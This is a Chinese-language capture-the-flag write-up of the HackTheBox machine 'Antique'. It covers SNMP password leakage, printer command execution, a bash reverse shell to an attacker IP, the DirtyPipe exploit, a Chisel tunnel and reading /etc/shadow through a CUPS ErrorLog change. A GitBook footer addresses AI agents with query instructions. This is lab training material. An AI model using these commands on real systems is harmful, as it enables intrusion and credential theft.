> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md).

# Antique HackTheBox 复盘

Antique HackTheBox 简单 Linux 机器复盘，涵盖 SNMP 枚举、网络打印机滥用、CUPS 管理利用（ErrorLog）、额外内容 ->（DirtyPipe）（CVE-2022-0847]，并包含实用的枚

{% embed url="<https://app.hackthebox.com/machines/400>" %}

{% hint style="warning" %}
技能：

* SNMP 枚举
* 网络打印机滥用
* CUPS 管理利用（ErrorLog）
* 额外 ->（DirtyPipe）（CVE-2022-0847]
  {% endhint %}

## 侦察

**工作区设置：**

我们将通过创建三个文件夹来建立工作区，用于存储重要内容、漏洞利用和使用 Nmap 进行的侦察结果

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb035155588326f9e4532ca71e08f2c7149d00e4%2Fimage%20(2497).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3f1ccbc3f481a9de6771f18679ad0ec073b4cd%2Fimage%20(2498).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 扫描 TCP：

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv -min-rate 5000 10.10.11.107 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23cade44b7a89b072549624663df2a36e3cdfeb7%2F%7BDEF431B0-F0DE-4462-AC3C-38F8E3C217B6%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板（23.7777）

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d65ed51b8d7079a8cacd9a5486103c8961220224%2Fimage%20(2499).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p23,7777 10.10.11.107 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a8657133817dcdb4e7138c156235d2d5ec4e6855%2F%7B4FA11160-124B-400F-8E4E-560E50363192%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 扫描 UDP：

**使用 Nmap 发现开放端口：**

我们还会对 UDP 端口进行扫描，使用 **Nmap**:

```bash
nmap -sU --open -vvv -n 10.10.11.107 -oG allPortsUDP
```

我们再次提取结果，使用 `extractPorts`，并且我们观察到端口的开放 **161**，由 SNMP 使用。:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a81cf64e8a8ff0fb95c33d672b72f1fc35aeb3b%2Fimage%20(2500).png?alt=media" alt=""><figcaption></figcaption></figure>

## 探索服务

### 端口 23（Telnet）– HP JetDirect

当尝试连接到端口 **23** 通过 **Telnet**时，我们遇到了一个要求我们输入密码的 HP JetDirect 服务。我们可以尝试使用以下方式连接：

```bash
nc -vn 10.10.11.107 23
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-725a1f608f1d33690482172aa0bb1280cff23f09%2F%7B9974315B-23AA-4C6D-8235-D3369DFB8570%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 端口 161（SNMP）

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

我们使用 **snmpbulkwalk** 来枚举在端口上暴露的 SNMP 服务 **161**:

```bash
snmpbulkwalk -c public -v2c 10.10.11.107 .
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-595092436e5008d80f347cb7936f6ded67fc5636%2F%7BB7A3614E-949F-40F7-9819-8BBE2AFDD2AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
```

这为我们提供了一个十六进制字符串，我们将其转换为 ASCII 以获得可读内容：

{% code overflow="wrap" %}

```bash
echo "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135" | xxd -ps -r
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ab3ee421b0b27c287df57ec4791cd33763b7db%2F%7B3C9FCEF8-EF3C-44F5-A74E-144C7CB7B5DB%7D.png?alt=media" alt=""><figcaption></figcaption></figure></div>

这个通道包含一些有趣的信息，但没有立即可用于利用的内容。

```bash
nc -vn 10.10.11.107 23
P@ssw0rd@123!!123
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8e0c9228d74b0fdb0f22e6d3822290d62514f20%2F%7B6F1E205F-49A7-4CA9-A25C-5F8CE6E9A5C5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

当尝试在端口 23（JetDirect）上将字符串注入为密码时，我们使用如下尝试：

```bash
P@ssw0rd@123!!123
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0c80b1e74faaa582d5e5023f6feabbc3bda0248%2F%7BC99DCBB5-30B6-45C0-8AE4-DE80AEEE0C5D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 网络打印机滥用

我们已经检测到可以通过网络打印机执行命令。利用该漏洞依赖于 `exec` 命令，该命令允许注入远程命令。例如：

```bash
exec id
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f829522f1f46cddc1abdc85e79df45e99558472%2Fimage%20(2501).png?alt=media" alt=""><figcaption></figcaption></figure>

这会返回系统凭据，并允许执行其他命令。

**反向 Shell**

我们使用 **nc** 在端口 **443** 攻击机：

```bash
nc -nvlp 443
```

```bash
exec bash -c "bash -i >& /dev/tcp/10.10.14.4/443 0>&1" 
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e6f2829c0f8858923eedc0666277ecf206aad07%2Fimage%20(2502).png?alt=media" alt=""><figcaption></figcaption></figure>

接下来，我们调整 shell 会话以获得更好的控制：

```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### user.txt 标志 :) <a href="#user-flag" id="user-flag"></a>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6ca4f0300e973545cbd6678f625058993240432%2F%7BC9056F09-01CC-4112-AD5B-C8545FBBDE24%7D.png?alt=media" alt="" width="561"><figcaption></figcaption></figure>

## 权限提升

## 1. DirtyPipe 利用

{% embed url="<https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit>" %}

我们检查了这台机器是否易受 DirtyPipe 漏洞利用影响，这是一个允许修改正在运行的系统文件的漏洞。我们发现这台机器具有 **gcc**，一个 C 编译器，可用的位置为 `/usr/bin/gcc`.

```bash
lp@antique:/home/lp$ which gcc
/usr/bin/gcc
```

接下来，我们使用 **Python3** 将漏洞利用程序从本地机器传输到目标机器。在本地机器上，我们启动了一个 HTTP 服务器来托管该漏洞利用程序：

```bash
python3 -m http.server
```

在受害机上，我们下载了该漏洞利用程序：

```bash
wget http://10.10.14.4/exploit.c
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e81bb0a4f30ef1430d5f616c29aeaf8c56c4518%2Fimage%20(1027).png?alt=media" alt=""><figcaption></figcaption></figure>

在恢复出漏洞利用程序后，我们用 **gcc**:

```bash
gcc exploit.c -o exploit
```

{% hint style="info" %}
该漏洞利用程序通过注入一个密码哈希来修改 `/etc/passwd` 通过注入密码哈希来修改文件，并添加一个用户 `aaron` 并设置一个特定密码，所有这些都是为了实现提权。
{% endhint %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fc0ad0757f5bce1f8bfe2418a3ea7f4580be1a2%2F%7B05D94990-84EC-461B-BE38-3349B04D7B5F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

最后，只需运行该脚本：

```bash
./exploit
```

这使我们能够获得 `root`/*/* 对这台机器的访问权限

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7848accef10a484ae739e69fae35d09533a1491c%2Fimage%20(1028).png?alt=media" alt=""><figcaption></figcaption></figure>

## 2. 使用 Chisel 进行端口转发

通过检查目标机器上的开放端口，我们发现了端口 **631** （用于 CUPS）。使用以下命令，我们确认了 CUPS 服务的存在：

```bash
netstat -nat
```

CUPS 服务的版本是 **1.6.1** ，我们已确定它可能存在漏洞。为了重定向此端口，我们使用了 **Chisel**，一种隧道工具。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22761bd27e9e04071190180bb80e1c9dfbb89885%2Fimage%20(1030).png?alt=media" alt=""><figcaption></figcaption></figure>

我们首先在本地机器上编译了 Chisel：

{% embed url="<https://github.com/jpillora/chisel>" %}

```bash
go build -ldflags "-s -w" .
upx chisel
```

接下来，我们通过 Python3 HTTP 服务器将 Chisel 可执行文件传输到受害机器：

```bash
python3 -m http.server 8080
wget http://10.10.14.4:8080/chisel
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8586a89ccb2ebbb1bd09126142056d8d27798597%2Fimage%20(1031).png?alt=media" alt=""><figcaption></figcaption></figure>

在我们的机器上，我们启动了 Chisel 服务器：

```bash
chisel server -p 8888 -reverse
```

然后，在受害机器上，我们配置 Chisel 客户端，将端口 631 重定向到我们的本地机器：

```bash
./chisel client 10.10.14.4:8888 R:631:127.0.0.1:631
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1faa3561304a86686516c861c51d931ede87db8d%2F%7B78AE4EC8-73DD-4E47-A1AE-8ED8C621C126%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

这使我们能够通过安全隧道访问目标机器的 CUPS Web 界面。

### CUPS 1.6.1 漏洞利用

{% embed url="<https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb>" %}

使用 **cupsctl**，我们修改了 **CUPS** 服务配置以将 **ErrorLog** 文件重定向到一个敏感文件，例如 **/etc/shadow**。这使得可以通过 CUPS Web 界面以 root 身份读取该文件。

修改配置的命令：

```bash
cupsctl ErrorLog=/etc/shadow
```

然后，我们通过隧道访问 CUPS 服务器上的以下 URL，进入 CUPS Web 界面：

这使得能够查看 **/etc/shadow** 文件的内容并获取 `root.txt` flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0976e5fefeb3292acb77770ae8bceedd1cc81f0%2Fimage%20(1032).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-addaeda1828fa8cd3050f13e06842d62835f1e49%2Fimage%20(1029).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3b9a325aaefb4c56559739fc3e0241e54a93716%2F%7BB5465363-AF5E-4CF7-A109-2592326FEAAD%7D.png?alt=media" alt="" width="520"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/antique-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
